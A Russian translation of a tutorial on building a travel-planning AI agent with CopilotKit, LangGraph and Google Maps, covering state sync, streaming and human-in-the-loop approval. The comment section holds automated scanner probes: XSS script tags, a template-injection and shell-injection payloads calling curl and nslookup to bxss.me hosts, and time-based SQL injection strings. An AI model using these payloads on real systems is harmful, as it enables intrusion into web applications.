Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

[Перевод] Как создать планировщик путешествий с ИИ-агентом на CopilotKit, LangGraph и Google Maps API

3448c63979d070711387ea55be1c7193.jpg

Кто сказал, что разработка ИИ‑агента — это сложно, долго и только для крупных корпораций? Сегодня мы убедимся, что добавить в своё приложение умного ассистента может каждый. Встречайте: ИИ‑агент, который помогает пользователю находить оптимальные варианты и обновляет данные в реальном времени.

Используя CopilotKit, LangGraph и Google Maps API, мы создадим приложение, которое не только действует по сценариям, но и предлагает решения. Мы изучим, как реализовать human‑in‑the‑loop, чтобы пользователь мог одобрять или отклонять действия агента.

Приятного прочтения (‑:

Что такое CopilotKit?

CopilotKit — это фреймворк, который превращает создание ИИ‑ассистентов из сложного инженерного процесса в увлекательную и понятную задачу. Вам больше не нужно вручную продумывать каждую деталь интеграции ИИ в приложение — CopilotKit сделает это за вас. Хотите встраивать умных ассистентов прямо в свои приложения? Легко. Настроить чат‑бота, который понимает контекст и выполняет задачи? Несколько строк кода — и готово.

CopilotKit предлагает полный набор инструментов для создания умных ИИ‑ассистентов. Вы можете подключать готовые компоненты чат‑ботов или создавать свои с нуля, при этом поддерживается «безголовый» UI для полного контроля над дизайном. Ассистенты не только отвечают на запросы, но и выполняют действия внутри приложения — например, записывают данные, ищут информацию или запускают процессы. Платформа позволяет создавать динамические React‑компоненты прямо внутри чата, делая взаимодействие не только функциональным, но и визуально привлекательным. Ассистенты понимают контекст и текущее состояние приложения, благодаря чему они адаптируют ответы и действия к конкретной ситуации.

Всё это поддерживается интеграцией с ведущими ИИ‑платформами: OpenAI, Anthropic, Azure, Google Generative AI и другими. CopilotKit — это билет в мир умных ИИ‑ассистентов, которые меняют привычные приложения и делают их удобнее и функциональнее.

Подготавливаем файлы проекта

В этом гайде мы начнём с приложения, в котором ещё нет ИИ, затем шаг за шагом добавим функции, которые предоставляет CopilotKit. Исходный код доступен здесь.

Начальная настройка

Мы будем работать с веткой coagents-travel-tutorial-start, в ней уже содержится стартовый код для нашего приложения. Клонируем её на свой компьютер:

git clone -b coagents-travel-tutorial-start https://github.com/CopilotKit/CopilotKit.git
cd CopilotKit

Пример кода для туториала находится в директории examples/coagents-travel, которая разделена на два каталога: ui — содержит приложение на Next.js, куда мы будем интегрировать агента LangGraph, и agent — включает Python‑реализацию самого агента LangGraph. Сначала перейдём в директорию examples/coagents-travel, чтобы начать настройку:

cd examples/coagents-travel

Установка зависимостей

Начнём с настройки приложения на Next.js. Убедитесь, что у вас установлен менеджер пакетов pnpm. Заскочим в папку ui и установим все необходимые зависимости проекта:

npm install -g pnpm@latest-10
cd ui
pnpm install

Установка API-ключей

Для работы с CopilotKit вам понадобятся API‑ключи. Создадим файл .env в директории ui и добавим в него переменные окружения:

# ui/.env

OPENAI_API_KEY=<ваш ключ доступа к API OpenAI>
NEXT_PUBLIC_CPK_PUBLIC_API_KEY=<ваш ключ доступа к API CopilotKit>

Ключ API для CopilotKit можно получить на официальном сайте платформы. Когда все зависимости установлены, запустим сервер разработки:

pnpm run dev

Если всё настроено правильно, откройте в браузере http://localhost:3000 — здесь вы увидите работающее приложение‑планировщик. Оно ещё не обладает искусственным интеллектом, но это лишь вопрос времени.

Давайте теперь глубже разберёмся, как работает агент LangGraph.

Агент LangGraph

Перед тем как интегрировать агента LangGraph, давайте уделим немного времени тому, чтобы понять, как он работает. Для этого урока мы не будем создавать LangGraph‑агента с нуля — вместо этого мы воспользуемся готовой версией, расположенной в директории agent.

Как устроен агент LangGraph?

LangGraph — это, по сути, графовая структура, где каждый узел выполняет конкретную задачу: один может обрабатывать запросы, другой — сохранять данные, третий — обновлять состояние приложения. Такая архитектура позволяет агенту принимать сложные решения и обрабатывать задачи последовательно или параллельно.

Установка LangGraph Studio

LangGraph Studio — это отличный инструмент для визуализации и отладки рабочих процессов LangGraph. Настоятельно рекомендуется использовать LangGraph Studio совместно с CopilotKit, чтобы лучше понимать, как LangGraph функционирует. Установка LangGraph Studio подробно описана здесь.

Ещё одна установка API-ключей

Создадим файл .env в директории agent и внесём в него следующие переменные окружения:

# agent/.env

OPENAI_API_KEY=<ваш ключ доступа к API OpenAI>
GOOGLE_MAPS_API_KEY=<ваш ключ доступа к API Google Maps>

Если вам нужен API‑ключ для Google Maps, можно обратиться к официальному руководству от Google для его получения.

Визуализация агента LangGraph

Когда LangGraph Studio установлена, давайте откроем в ней директорию examples/coagents-travel/agent, чтобы загрузить нужного агента LangGraph и увидеть его работу в визуальном формате. Настройка может занять пару минут. Результат будет выглядеть как интерактивная схема, которая показывает взаимодействия между узлами — логику работы агента.

Граф, созданный в LangGraph Studio
Граф, созданный в LangGraph Studio

Тестирование агента LangGraph

Как проверить, что агент работает? Всё просто: добавьте сообщение в переменную состояния messages (это, по сути, запрос пользователя) и нажмите Submit. После чего агент обработает ваш ввод, ответит в чате и выполнит связанные задачи. Например:

  • Агент активирует узел search_node, чтобы выполнить поиск.

  • Получив ответ, задействует узел trips_node, чтобы обновить состояние приложения, добавив новую поездку.

Круто, правда? Всё это можно наблюдать на графе. Агент не только решает задачи, но и показывает, как именно он это делает.

Точки останова: контроль за действиями агента

Что если ИИ в какой‑то момент понадобится подсказка человека? Здесь на помощь приходит концепция human‑in‑the‑loop — пользовательский контроль над ключевыми решениями агента. Пример из жизни: представьте, что агент хочет добавить поездку в ваш список, но вы хотите проверить детали перед подтверждением. Именно для таких случаев LangGraph поддерживает точки останова.

Чтобы добавить точку останова, мы нажмём на узел trips_node и включим параметр interrupt_after. Ну а теперь пробуем создать новую поездку — агент остановится на полпути, запросит одобрения и только потом продолжит выполнение.

Выполнение приостановлено через точку останова
Выполнение приостановлено через точку останова

Оставляем LangGraph Studio запущенной

Вашему агенту нужно постоянное рабочее пространство, и пока таким местом будет LangGraph Studio. Оставьте студию запущенной локально. В нижнем левом углу интерфейса вы увидите URL‑адрес, он пригодится позже для подключения к агенту.

Локальный адрес LangGraph Studio показан в левом нижнем углу
Локальный адрес LangGraph Studio показан в левом нижнем углу

Теперь интегрируем LangGraph в наше приложение, чтобы превратить его в настоящего ассистента-агента.

Настройка CopilotKit

Сделаем наш проект по‑настоящему умным и свяжем всё воедино. У нас уже есть приложение и агент, а сейчас мы добавим CopilotKit, чтобы интеграция стала реальностью. Для этой задачи мы установим следующие зависимости:

  • @copilotkit/react-core: основная библиотека, содержащая провайдер CopilotKit и полезные хуки для управления функциональностью.

  • @copilotkit/react-ui: библиотека пользовательского интерфейса CopilotKit. Здесь находятся готовые компоненты, такие как боковая панель, всплывающее окно чата, текстовые поля и многое другое.

Сначала откроем директорию ui и установим пакеты CopilotKit:

cd ../ui
pnpm add @copilotkit/react-core @copilotkit/react-ui

Эти два пакета — всё, что нужно для интеграции CopilotKit в React‑приложение. Первый пакет отвечает за функциональность, а второй — за визуальные компоненты.

Добавление CopilotKit

Здесь у нас есть два варианта, как мы можем настроить CopilotKit: Copilot Cloud — быстрый и удобная управляемая платформа, где уже настроено всё необходимое, и самостоятельный хостинг, который подходит тем, кто хочет большего контроля.

Мы выберем облачный вариант — это проще, быстрее и не требует сложных конфигураций. Если вы захотите настроить сервер вторым способом, обязательно загляните в руководство по самостоятельному хостингу.

Настройка Copilot Cloud

Подключение к Copilot Cloud начинается с создания аккаунта на платформе. Регистрация занимает всего минуту, после чего откроется доступ к системе.

Следующий шаг — получение API‑ключа Copilot Cloud. Для этого нужно войти в систему, ввести API‑ключ OpenAI, нажать галочку — и ваш публичный ключ будет сгенерирован автоматически.

CopilotKit Cloud UI
Интерфейс CopilotKit Cloud

И наконец, откроем файл .env в директории ui и добавим полученный API‑ключ Copilot Cloud:

# ui/.env

# ...Здесь другие переменные окружения...
NEXT_PUBLIC_CPK_PUBLIC_API_KEY=<ваш ключ доступа к API CopilotKit>

Интеграция CopilotKit

Настроив ключи, пришло время интегрировать CopilotKit в приложение. Начнём с обёртки: откроем файл ui/app/page.tsx и «обмотаем» приложение компонентом CopilotKit.

Далее займёмся пользовательскими компонентами. Платформа предоставляет готовые элементы вроде <CopilotPopup /> и <CopilotSidebar />, которые легко интегрируются и дополняют ваш интерфейс. Хотите больше кастомизации? Включите «безголовый режим» через хук useCopilotChat — это позволит создать интерфейс, адаптированный под ваш дизайн.

Для добавления боковой панели чата используем компонент <CopilotSidebar /> — обновим файл ui/app/page.tsx, добавив этот элемент. Убедимся, что импортированы необходимые стили — так панель будет выглядеть великолепно сразу после внедрения:

// ui/app/page.tsx

"use client";

// ...Здесь другие импорты...
import { TasksList } from "@/components/TasksList";
import { TasksProvider } from "@/lib/hooks/use-tasks";
import { CopilotKit } from "@copilotkit/react-core";
import { CopilotSidebar } from "@copilotkit/react-ui";
import "@copilotkit/react-ui/styles.css";

//...

export default function Home() {
  return (
    <CopilotKit
      publicApiKey={process.env.NEXT_PUBLIC_CPK_PUBLIC_API_KEY}
    >
      <CopilotSidebar
        defaultOpen={true}
        clickOutsideToClose={false}
        labels={{
          title: "Планировщик поездок",
          initial: "Привет! 👋 Я здесь, чтобы помочь вам спланировать путешествия. Могу с лёгкостью организовать поездки, добавить в них интересные места или вместе с вами спланировать новое приключение с нуля.",
        }}
      />
      <TooltipProvider>
        <TripsProvider>
          <main className="h-screen w-screen">
            <MapCanvas />
          </main>
        </TripsProvider>
      </TooltipProvider>
    </CopilotKit>
  );
}

При желании можно настроить заголовок и начальное сообщение от ИИ через пропс labels.

Проверяем

Запустим приложение, откроем его в браузере и посмотрим направо. А там… уже появилась новая боковая панель чата — и всё это всего за несколько строк кода.

У нас уже есть панель чата, но она пока не умеет принимать решения. Давайте добавим эту функциональность с помощью агента LangGraph, который уже настроен в директории asset. Готовы сделать ассистента по‑настоящему умным?

Делаем ассистента агентным

Краткий обзор React-состояния

Давайте рассмотрим, как работает состояние приложения. Откроем файл lib/hooks/use-trips.tsx. Там мы найдём TripsProvider, который задаёт множество полезных функций. Основное внимание уделено объекту state, определённому через тип AgentState. Состояние state доступно во всём приложении через хук useTrips, который используется компонентами вроде TripCard, TripContent и TripSelect.

Если вы уже работали с React‑приложениями, эта концепция должна быть вам знакома, ведь управление состоянием через контекст или библиотеку является стандартной практикой.

Объединение агента с состоянием

Теперь важная часть: подключение состояния агента LangGraph к состоянию приложения. Чтобы это реализовать, мы настроим удалённую конечную точку и воспользуемся хуком useCoAgent, который свяжет компоненты.

Настройка туннеля

Если вы используете Copilot Cloud, вы уже готовы; если же выбрали самостоятельный хостинг, понадобятся ещё несколько шагов.

Для подключения локально запущенного агента LangGraph к Copilot Cloud применим CLI CopilotKit. Номер порта возьмём тот из интерфейса LangGraph Studio, который был в левом нижнем углу.

LangGraph Studio Endpoint

Теперь запустим терминал и выполним следующую команду:

# На отметке <port_number> нужно указать номер порта
npx @copilotkit/cli tunnel <port_number>

Готово, мы создали туннель! Вот что отобразится:

✔ Tunnel created successfully!
Tunnel Information:
Local: localhost:54209
Public URL: https://light-pandas-argue.loca.lt
Press Ctrl+C to stop the tunnel

Скопируем сгенерированный URL: это шлюз между локальным агентом LangGraph и облачной платформой CopilotKit.

Получение LangSmith API Key

Для следующего шага потребуется LangSmith API Key: здесь несколько подсказок, как его заполучить.

Теперь ваш агент готов принимать запросы и синхронизироваться с приложением.

Подключение туннеля к Copilot Cloud

Переходим на Copilot Cloud, прокручиваем вниз до раздела Remote Endpoints и жмём кнопку + Add New. После чего выбираем платформу LangGraph и добавляем публичный URL — тот, что был создан в CLI CopilotKit, — вместе с API‑ключом LangSmith. Нажимаем Create.

Отлично! Теперь конечная точка вашего агента добавлена — CopilotKit знает, куда отправлять запросы при вызове агента.

Закрепляем выбранного агента

В этом проекте мы используем только одного агента. Чтобы все запросы направлялись именно к нему, настроим провайдер <CopilotKit />, указав имя агента в параметрах — travel, как в файле agents/langgraph.json:

// ui/app/page.tsx

//...

<CopilotKit
  //...
  agent="travel"
>
    {/* ... */}
</CopilotKit>

А это памятка на случай, если вас заинтересует работа с многоагентными потоками:
https://docs.copilotkit.ai/coagents/concepts/multi‑agent‑flows.

Всё, теперь ассистент стал по‑настоящему агентным: он может не только вести диалоги, но и выполнять действия. Теперь он точно знает, что делать, — даже если мы сами не знаем (‑:

Коннектим состояния агента и приложения

Теперь наша цель — настроить двухстороннее соединение между состоянием агента LangGraph и состоянием приложения: тогда станут доступны динамические взаимодействия в режиме реального времени.

Агенты LangGraph имеют собственное состояние, которое показано в интерфейсе LangGraph Studio (в нижнем левом углу). Чтобы синхронизировать состояния агента и приложения, применим хук useCoAgent из CopilotKit. Для этого откроем файл ui/lib/hooks/use-trips.tsx и добавим следующие строки кода. С этим хуком двухсторонняя синхронизация состояний готова.

// ui/lib/hooks/use-trips.tsx

// ...Здесь другие импорты...
import { AgentState, defaultTrips} from "@/lib/trips"; 
import { useCoAgent } from "@copilotkit/react-core"; 

export const TripsProvider = ({ children }: { children: ReactNode }) => {
  const { state, setState } = useCoAgent<AgentState>({
    name: "travel",
    initialState: {
      trips: defaultTrips,
      selected_trip_id: defaultTrips[0].id,
    },
  });
  //...

Разбираемся в новом коде:

  • Хук useCoAgent — этот универсальный хук позволяет указать тип данных, соответствующий состоянию агента LangGraph. Мы используем тип AgentState для согласованности и избегаем приведения типов к any, что считается плохой практикой.

  • Параметр name связывает наше приложение с именем графа из файла agent/langgraph.json. Убедитесь, что имя указано правильно, чтобы агент и приложение всегда были синхронизированы.

  • Параметр initialState. Укажем значение defaultTrips, определённое в @/lib/types.ts: благодаря этому начальному состоянию можно проверить функциональность сразу после запуска.

Начальное состояние defaultTrips имеет следующую структуру:

// ui/lib/types.ts

export const defaultTrips: Trip[] = [
  {
    id: "1",
    name: "Деловая поездка в Нью-Йорк",
    center_latitude: 40.7484,
    center_longitude: -73.9857,
    places: [
      {
        id: "1",
        name: "Центральный парк",
        address: "Нью-Йорк, NY 10024",
        description: "Знаменитый нью-йоркский парк.",
        latitude: 40.785091,
        longitude: -73.968285,
        rating: 4.7,
      },
      {
        id: "3",
        name: "Таймс-сквер",
        address: "Таймс-сквер, Нью-Йорк, NY 10036",
        description: "Известная площадь в Нью-Йорке.",
        latitude: 40.755499,
        longitude: -73.985701,
        rating: 4.6,
      },
    ],
    zoom_level: 14,
  },
  //...
];

Тестируем!

Запустим приложение и зададим ассистенту вопрос о своих поездках. Например:

Сколько у меня поездок?

Агент извлечёт данные из состояния приложения. Чудеса? Нет, просто ИИ.

8dac033359f34177a2884f9383746408.jpg

Теперь состояние приложения и агента синхронизированы. Если изменить поездку вручную — удалить, добавить или отредактировать данные, — и задать агенту новый вопрос, он отразит изменения.


Стриминг ответа

Теперь, когда ваш агент умеет взаимодействовать с данными и обновлять состояние приложения, пора поднять юзер‑экспириенс на новый уровень. Как насчёт функции потоковой передачи текста? Она будет показывать деятельность агента в реальном времени, создавая эффект живого общения — как в популярных ИИ‑системах вроде ChatGPT.

На этом этапе мы задействуем функцию copilotkit_emit_state в SDK CopilotKit, она позволит вашему агенту на ходу отправлять обновления о статусе выполнения задачи.

Установка SDK CopilotKit

Сначала установим SDK CopilotKit. Поскольку мы работаем с Python‑агентом и управляем зависимостями через poetry, начнём с установки соответствующего SDK. Загляните сюда, если poetry ещё не установлен.

poetry add copilotkit==0.1.31a4

Добавление функции передачи состояния

Итак, как это работает? По умолчанию состояние агента обновляется, когда он переходит между узлами графа, но иногда нужно показать прогресс в процессе выполнения действия — например, пока агент ищет данные или обрабатывает запрос. Хорошая новость: это можно сделать вручную с помощью copilotkit_emit_state.

Давайте обновим узел search_node, чтобы передавать промежуточное состояние. Для этого откроем файл agent/travel/search.py и добавим следующую конфигурацию:

# agent/travel/search.py

# ...Здесь другие импорты...
from copilotkit.langchain import copilotkit_emit_state, copilotkit_customize_config 

async def search_node(state: AgentState, config: RunnableConfig):
    """
    Узел поиска осуществляет поиск географических точек.
    """
    ai_message = cast(AIMessage, state["messages"][-1])
    config = copilotkit_customize_config(
        config,
        emit_intermediate_state=[{
            "state_key": "search_progress",
            "tool": "search_for_places",
            "tool_argument": "search_progress",
        }],
    )
    //...

Передача промежуточного состояния

Мы подключили copilotkit_emit_state, чтобы передавать состояние вручную на каждом этапе поиска, и теперь агент сможет сообщать обновления в режиме реального времени, позволяя видеть прогресс для каждого запроса. Откроем файл agent/travel/search.py и внесём следующие изменения, чтобы агент передавал состояние как в начале, так и на промежуточных этапах поиска:

# agent/travel/search.py

#...

async def search_node(state: AgentState, config: RunnableConfig):
    """
    Узел поиска осуществляет поиск географических точек.
    """
    ai_message = cast(AIMessage, state["messages"][-1])
    config = copilotkit_customize_config(
        config,
        emit_intermediate_state=[{
            "state_key": "search_progress",
            "tool": "search_for_places",
            "tool_argument": "search_progress",
        }],
    )

    #...

    state["search_progress"] = state.get("search_progress", [])
    queries = ai_message.tool_calls[0]["args"]["queries"]

    for query in queries:
        state["search_progress"].append({
            "query": query,
            "results": [],
            "done": False
        })

    await copilotkit_emit_state(config, state) 

    #...

Обновление и передача прогресса
Покажем результаты в реальном времени и по завершении поиска снова обновим прогресс. Вот какие строки кода agent/travel/search.py нужны для этого:

# agent/travel/search.py

#...

async def search_node(state: AgentState, config: RunnableConfig):
    """
    Узел поиска осуществляет поиск географических точек.
    """
    ai_message = cast(AIMessage, state["messages"][-1])
    config = copilotkit_customize_config(
        config,
        emit_intermediate_state=[{
            "state_key": "search_progress",
            "tool": "search_for_places",
            "tool_argument": "search_progress",
        }],
    )
    state["search_progress"] = state.get("search_progress", [])
    queries = ai_message.tool_calls[0]["args"]["queries"]

    for query in queries:
        state["search_progress"].append({
            "query": query,
            "results": [],
            "done": False
        })

    await copilotkit_emit_state(config, state) 

    #...

    places = []

    for i, query in enumerate(queries):
        response = gmaps.places(query)
        for result in response.get("results", []):
            place = {
                "id": result.get("place_id", f"{result.get('name', '')}-{i}"),
                "name": result.get("name", ""),
                "address": result.get("formatted_address", ""),
                "latitude": result.get("geometry", {}).get("location", {}).get("lat", 0),
                "longitude": result.get("geometry", {}).get("location", {}).get("lng", 0),
                "rating": result.get("rating", 0),
            }
            places.append(place)
        state["search_progress"][i]["done"] = True
        await copilotkit_emit_state(config, state) 

    state["search_progress"] = []
    await copilotkit_emit_state(config, state) 

    #...

Отображение прогресса в интерфейсе

Чтобы показать прогресс в пользовательском интерфейсе, воспользуемся хуком useCoAgentStateRender, который будет рендерить состояние search_progress. Откроем файл ui/lib/hooks/use-trips.tsx и добавим код для отображения прогресса поиска:

// ui/lib/hooks/use-trips.tsx

//...Здесь другие импорты...
import { useCoAgent, useCoAgentStateRender } from "@copilotkit/react-core"; 
import { SearchProgress } from "@/components/SearchProgress"; 

export const TripsProvider = ({ children }: { children: ReactNode }) => {
  
  //...
  
  useCoAgentStateRender<AgentState>({
    name: "travel",
    render: ({ state }) => {
      if (state.search_progress) {
        return <SearchProgress progress={state.search_progress} />
      }
      return null;
    },
  });

  //...

}

Компонент <SearchProgress /> уже настроен (его реализация описана в ui/components/SearchProgress.tsx). Ключ состояния search_progress уже определён в типе AgentState в ui/lib/types.ts, так что вам не нужно создавать его с нуля.

Попробуем написать для агента запрос, требующий поиска, например:

Добавь пять интересных поездок по Волгограду.

Наблюдаем, как прогресс подгружается в реальном времени:

016c713ce620a0af2a2dc592a4e5fe4a.jpga7dde8396a79dece195e402300b7c82c.jpg3b7fc77985e36c5c4cb7daa8e827a198.jpgc5a6e708b1e5983c47978cfec201a204.jpg

Добавление функции human-in-the-loop

Что делать, если агент захочет принять решение, но вы с ним несогласны? Вот тут‑то и вступает в игру функция human‑in‑the‑loop: она позволяет вам вмешаться, одобрить, отклонить или даже изменить действия агента. На этом этапе мы настроим точку останова в потоке агента, чтобы в определённый момент приостановить его выполнение и дождаться нашего решения перед продолжением.

Когда агент достигает точки останова, мы отправляем её на фронтенд, где пользователь может одобрить или отклонить действие; затем агент продолжает работать в зависимости от решения пользователя. В общем и целом процесс выглядит следующим образом:

Coagents HITL Infographic

Добавление точки останова

Добавить функционал human‑in‑the‑loop в LangGraph — дело простое. Узел trips_node будет играть роль посредника, передавая действия узлу perform_trips_node. Настроим точку останова в trips_node: для этого откроем файл agent/travel/agent.py и укажем через функцию compile, где должен происходить «перерыв».

# agent/travel/agent.py

#...

graph = graph_builder.compile(
    checkpointer=MemorySaver(),
    # Приостанавливаемся прямо здесь и ожидаем пользовательского ответа.
    interrupt_after=["trips_node"], 
)

Сразу после узла trips_node агент поставит выполнение на паузу и будет дожидаться разрешения пользователя, вместо того чтобы сразу предпринимать действия.

Обработка решения пользователя

Когда пользователь принимает решение, агент должен корректно обработать его выбор: если пользователь нажимает «Отмена» — выполнение действия прекращается, если одобряет действие — агент продолжает его выполнение. Для реализации этой логики добавим обработку в узле perform_trips_node:

# agent/travel/trips.py

#...

async def perform_trips_node(state: AgentState, config: RunnableConfig):
    """Обработка поездки"""
    ai_message = cast(AIMessage, state["messages"][-2]) 
    tool_message = cast(ToolMessage, state["messages"][-1]) 
    #...

И вот условие проверяет, что выбрал пользователь, и реагирует соответствующим образом: если пользователь нажимает «Отмена», мы прекращаем выполнение и возвращаем пользовательское сообщение, а для любого другого ответа работа продолжается.

# agent/travel/trips.py

#...

async def perform_trips_node(state: AgentState, config: RunnableConfig):
    """Обработка поездки"""
    ai_message = cast(AIMessage, state["messages"][-2])
    tool_message = cast(ToolMessage, state["messages"][-1])

    if tool_message.content == "CANCEL":
      return {
        "messages": AIMessage(content="Обработка поездки отменена."),
      }

    # Обрабатываем маловероятный случай, когда ai_message не является AIMessage
    # или не содержит вызовов инструментов, — такого происходить не должно.
    if not isinstance(ai_message, AIMessage) or not ai_message.tool_calls:
        return state

    #...

Отображение интерфейса решения

Теперь нам нужно обновить фронтенд, чтобы визуализировать запросы от агента и дать пользователю возможность принимать решения. Мы используем хуки useCopilotAction с опцией renderAndWait. Откроем файл ui/lib/hooks/use-trips.tsx и добавим следующий код:

// ui/lib/hooks/use-trips.tsx

//...Здесь другие импорты...
import { AddTrips, EditTrips, DeleteTrips } from "@/components/humanInTheLoop"; 
import { useCoAgent, useCoAgentStateRender, useCopilotAction } from "@copilotkit/react-core"; 

//...

export const TripsProvider = ({ children }: { children: ReactNode }) => {

  //...

  useCoAgentStateRender<AgentState>({
    name: "travel",
    render: ({ state }) => {
      return <SearchProgress progress={state.search_progress} />
    },
  });

  useCopilotAction({ 
    name: "add_trips",
    description: "Добавить поездки",
    parameters: [
      {
        name: "trips",
        type: "object[]",
        description: "Добавляемые поездки",
        required: true,
      },
    ],
    renderAndWait: AddTrips,
  });

  useCopilotAction({
    name: "update_trips",
    description: "Изменить поездки",
    parameters: [
      {
        name: "trips",
        type: "object[]",
        description: "Изменяемые поездки",
        required: true,
      },
    ],
    renderAndWait: EditTrips,
  });

  useCopilotAction({
    name: "delete_trips",
    description: "Удалить поездки",
    parameters: [
      {
        name: "trip_ids",
        type: "string[]",
        description: "Идентификаторы удаляемых поездок",
        required: true,
      },
    ],
    renderAndWait: (props) => DeleteTrips({ ...props, trips: state.trips }),
  });

  //...

С этими настройками фронтенд готов отображать запросы от агента и фиксировать решения пользователя. Осталась одна важная деталь: как именно обрабатывать ввод пользователя и отправлять его обратно агенту.

Давайте разберёмся, как логика реализуется на фронтенде. В качестве примера рассмотрим компонент DeleteTrips, но точно такие же принципы применимы к компонентам AddTrips и EditTrips.

// ui/lib/components/humanInTheLoop/DeleteTrips.tsx

import { Trip } from "@/lib/types";
import { PlaceCard } from "@/components/PlaceCard";
import { X, Trash } from "lucide-react";
import { ActionButtons } from "./ActionButtons"; 
import { RenderFunctionStatus } from "@copilotkit/react-core";

export type DeleteTripsProps = {
  args: any;
  status: RenderFunctionStatus;
  handler: any;
  trips: Trip[];
};

export const DeleteTrips = ({ args, status, handler, trips }: DeleteTripsProps) => {
  const tripsToDelete = trips.filter((trip: Trip) => args?.trip_ids?.includes(trip.id));
  return (
    <div className="space-y-4 w-full bg-secondary p-6 rounded-lg">
    <h1 className="text-sm">Будут удалены эти поездки:</h1>
      {status !== "complete" && tripsToDelete?.map((trip: Trip) => (
        <div key={trip.id} className="flex flex-col gap-4">
          <>
            <hr className="my-2" />
            <div className="flex flex-col gap-4">
            <h2 className="text-lg font-bold">{trip.name}</h2>
            {trip.places?.map((place) => (
              <PlaceCard key={place.id} place={place} />
            ))}
            </div>
          </>
        </div>
      ))}
      { status !== "complete" && (
        <ActionButtons
          status={status} 
          handler={handler} 
          approve={<><Trash className="w-4 h-4 mr-2" /> Delete</>} 
          reject={<><X className="w-4 h-4 mr-2" /> Cancel</>} 
        />
      )}
    </div>
  );
};

Ключевая часть здесь — компонент ActionButtons, он позволяет пользователю выбирать — одобрить или отклонить действие:

// ui/lib/components/humanInTheLoop/ActionButtons.tsx

import { RenderFunctionStatus } from "@copilotkit/react-core";
import { Button } from "../ui/button";

export type ActionButtonsProps = {
    status: RenderFunctionStatus;
    handler: any;
    approve: React.ReactNode;
    reject: React.ReactNode;
}

export const ActionButtons = ({ status, handler, approve, reject }: ActionButtonsProps) => (
  <div className="flex gap-4 justify-between">
    <Button 
      className="w-full"
      variant="outline"
      disabled={status === "complete" || status === "inProgress"} 
      onClick={() => handler?.("CANCEL")} 
    >
      {reject}
    </Button>
    <Button 
      className="w-full"
      disabled={status === "complete" || status === "inProgress"} 
      onClick={() => handler?.("SEND")} 
    >
      {approve}
    </Button>
  </div>
);

Кнопки вызывают handler?.("CANCEL"), если пользователь нажимает Отмена, и handler?.("SEND"), если Удалить. При помощи обработчиков onClick решение пользователя — «CANCEL» или "SEND" — отправляется обратно агенту.

Если хотите, чтобы пользователь мог изменить параметры перед отправкой, можно адаптировать обработчики onClick и соответствующим образом обновить логику агента.

Теперь ваш агент обладает функционалом human‑in‑the‑loop: он способен запрашивать подтверждение перед выполнением действия, реагировать на пользовательские решения, а затем продолжать работать в зависимости от выбора.


Всё готово!

Мы подробно выяснили, как добавить ассистента-агента в приложение с помощью CopilotKit, LangGraph и Google Maps API, научились синхронизировать состояние агента и приложения в реальном времени и реализовали концепцию human‑in‑the‑loop, чтобы внедрить интерактивность. Вы можете протестировать получившийся планировщик путешествий в онлайне (или посмотреть видеодемонстрацию).

Ещё немного полезных ссылок:

Спасибо, что прочитали! Жду вас в комментариях (‑:

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

